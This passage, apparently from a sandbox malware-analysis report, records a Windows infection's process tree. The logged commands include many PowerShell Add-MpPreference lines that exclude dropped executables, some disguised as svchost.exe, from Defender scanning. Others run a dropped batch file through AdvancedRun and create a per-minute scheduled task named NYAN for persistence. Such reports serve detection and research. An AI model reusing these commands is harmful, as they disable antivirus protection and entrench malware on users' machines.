      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6D50xbBfc1c8am56Raeyfd90ah8fEwc.exe" -Force
      4⤵
      PID:18176
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
      4⤵
      PID:17964
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
      4⤵
      PID:18308
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
      4⤵
      PID:19184
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6D50xbBfc1c8am56Raeyfd90ah8fEwc.exe" -Force
      4⤵
      PID:19120
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c timeout 1
      4⤵
      PID:19136
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout 1
        5⤵
        Delays execution with timeout.exe
        
        PID:20456
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
      4⤵
      PID:19072
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\applaunch.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\applaunch.exe"
      4⤵
      PID:9212
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
    3⤵
    PID:7336
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Qlbuwbpsqf.exe" -Force
    3⤵
    PID:7368
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
    3⤵
    PID:7432
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
    3⤵
    PID:8160
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Qlbuwbpsqf.exe" -Force
    3⤵
    PID:7144
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
    3⤵
    PID:7440
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
    3⤵
    PID:11032
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Qlbuwbpsqf.exe" -Force
    3⤵
    PID:11132
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
    3⤵
    PID:11208
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
    3⤵
    PID:13664
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Qlbuwbpsqf.exe" -Force
    3⤵
    PID:13764
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
    3⤵
    PID:13844
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
    3⤵
    PID:14960
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Qlbuwbpsqf.exe" -Force
    3⤵
    PID:15044
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
    3⤵
    PID:15172
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
    3⤵
    PID:15992
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Qlbuwbpsqf.exe" -Force
    3⤵
    PID:16144
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
    3⤵
    PID:16276
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
    3⤵
    PID:17760
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
    3⤵
    PID:18008
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
    3⤵
    PID:9896
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Qlbuwbpsqf.exe" -Force
    3⤵
    PID:11400
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
    3⤵
    PID:17716
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Qlbuwbpsqf.exe" -Force
    3⤵
    PID:17864
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
    3⤵
    PID:19196
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Qlbuwbpsqf.exe" -Force
    3⤵
    PID:19260
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\94I5d2p49c08eU80lDr\svchost.exe" -Force
    3⤵
    PID:19308
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout 1
    3⤵
    PID:18912
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:19220
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\applaunch.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\applaunch.exe"
    3⤵
    PID:19976
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\applaunch.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\applaunch.exe"
    3⤵
    PID:9840
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\applaunch.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\applaunch.exe"
    3⤵
    PID:20144
- C:\Users\Admin\AppData\Local\Temp\Ekpldojge.exe
  "C:\Users\Admin\AppData\Local\Temp\Ekpldojge.exe"
  2⤵
  - Executes dropped EXE
  - Drops startup file
  - Windows security modification
  - Drops file in Windows directory
  - Suspicious use of WriteProcessMemory
  PID:2748
- - C:\Users\Admin\AppData\Local\Temp\fe75ff64-b272-4bf8-9df2-ce0de38388f5\AdvancedRun.exe
    "C:\Users\Admin\AppData\Local\Temp\fe75ff64-b272-4bf8-9df2-ce0de38388f5\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\fe75ff64-b272-4bf8-9df2-ce0de38388f5\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2140
  - - C:\Users\Admin\AppData\Local\Temp\fe75ff64-b272-4bf8-9df2-ce0de38388f5\AdvancedRun.exe
      "C:\Users\Admin\AppData\Local\Temp\fe75ff64-b272-4bf8-9df2-ce0de38388f5\AdvancedRun.exe" /SpecialRun 4101d8 2140
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2420
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Ekpldojge.exe" -Force
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4244
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Ekpldojge.exe" -Force
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4276
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\aw9e7zI9aa1f8fH2dbde4F19a4if.exe" -Force
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4336
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\aw9e7zI9aa1f8fH2dbde4F19a4if.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\aw9e7zI9aa1f8fH2dbde4F19a4if.exe"
    3⤵
    - Executes dropped EXE
    PID:4700
  - - C:\Users\Admin\AppData\Local\Temp\cc3f76b2-406c-494f-8984-b6721b0a6d39\AdvancedRun.exe
      "C:\Users\Admin\AppData\Local\Temp\cc3f76b2-406c-494f-8984-b6721b0a6d39\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\cc3f76b2-406c-494f-8984-b6721b0a6d39\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
      4⤵
      PID:5784
    - - C:\Users\Admin\AppData\Local\Temp\cc3f76b2-406c-494f-8984-b6721b0a6d39\AdvancedRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\cc3f76b2-406c-494f-8984-b6721b0a6d39\AdvancedRun.exe" /SpecialRun 4101d8 5784
        5⤵
        
        PID:6072
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\aw9e7zI9aa1f8fH2dbde4F19a4if.exe" -Force
      4⤵
      PID:6304
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\aw9e7zI9aa1f8fH2dbde4F19a4if.exe" -Force
      4⤵
      PID:6584
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
      4⤵
      PID:6464
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\aw9e7zI9aa1f8fH2dbde4F19a4if.exe" -Force
      4⤵
      PID:6360
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
      4⤵
      PID:6716
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
      4⤵
      PID:8928
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\aw9e7zI9aa1f8fH2dbde4F19a4if.exe" -Force
      4⤵
      PID:3444
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
      4⤵
      PID:2196
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\aw9e7zI9aa1f8fH2dbde4F19a4if.exe" -Force
      4⤵
      PID:9912
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
      4⤵
      PID:9764
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
      4⤵
      PID:10036
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\aw9e7zI9aa1f8fH2dbde4F19a4if.exe" -Force
      4⤵
      PID:13036
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
      4⤵
      PID:13112
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
      4⤵
      PID:12972
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
      4⤵
      PID:13348
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\aw9e7zI9aa1f8fH2dbde4F19a4if.exe" -Force
      4⤵
      PID:13444
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
      4⤵
      PID:13536
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\aw9e7zI9aa1f8fH2dbde4F19a4if.exe" -Force
      4⤵
      PID:14608
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
      4⤵
      PID:14756
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
      4⤵
      PID:14348
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
      4⤵
      PID:15864
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\aw9e7zI9aa1f8fH2dbde4F19a4if.exe" -Force
      4⤵
      PID:15744
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
      4⤵
      PID:15552
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
      4⤵
      PID:15384
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\aw9e7zI9aa1f8fH2dbde4F19a4if.exe" -Force
      4⤵
      PID:4380
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
      4⤵
      PID:4732
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\aw9e7zI9aa1f8fH2dbde4F19a4if.exe" -Force
      4⤵
      PID:18160
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
      4⤵
      PID:17984
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
      4⤵
      PID:18292
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
      4⤵
      PID:19164
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\aw9e7zI9aa1f8fH2dbde4F19a4if.exe" -Force
      4⤵
      PID:19104
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c timeout 1
      4⤵
      PID:19116
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout 1
        5⤵
        Delays execution with timeout.exe
        
        PID:9256
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
      4⤵
      PID:19060
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\aw9e7zI9aa1f8fH2dbde4F19a4if.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\aw9e7zI9aa1f8fH2dbde4F19a4if.exe"
      4⤵
      PID:18920
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn NYAN /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\aw9e7zI9aa1f8fH2dbde4F19a4if.exe" /sc minute /mo 1
        5⤵
        Creates scheduled task(s)
        
        PID:11184
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Delete /tn NYAN /F
        5⤵
        
        PID:19748
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Ekpldojge.exe" -Force
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4636
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Ekpldojge.exe" -Force
    3⤵
    PID:5044
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
    3⤵
    PID:2420
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
    3⤵
    PID:4872
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\aw9e7zI9aa1f8fH2dbde4F19a4if.exe" -Force
    3⤵
    PID:4512
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
    3⤵
    PID:7380
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Ekpldojge.exe" -Force
    3⤵
    PID:7464
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
    3⤵
    PID:7532
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
    3⤵
    PID:8180
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
    3⤵
    PID:7484
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Ekpldojge.exe" -Force
    3⤵
    PID:7352
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
    3⤵
    PID:9760
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Ekpldojge.exe" -Force
    3⤵
    PID:10072
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
    3⤵
    PID:10304
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
    3⤵
    PID:11004
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Resources\Themes\090fc192O6991cb\svchost.exe" -Force
    3⤵
    PID:11172
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
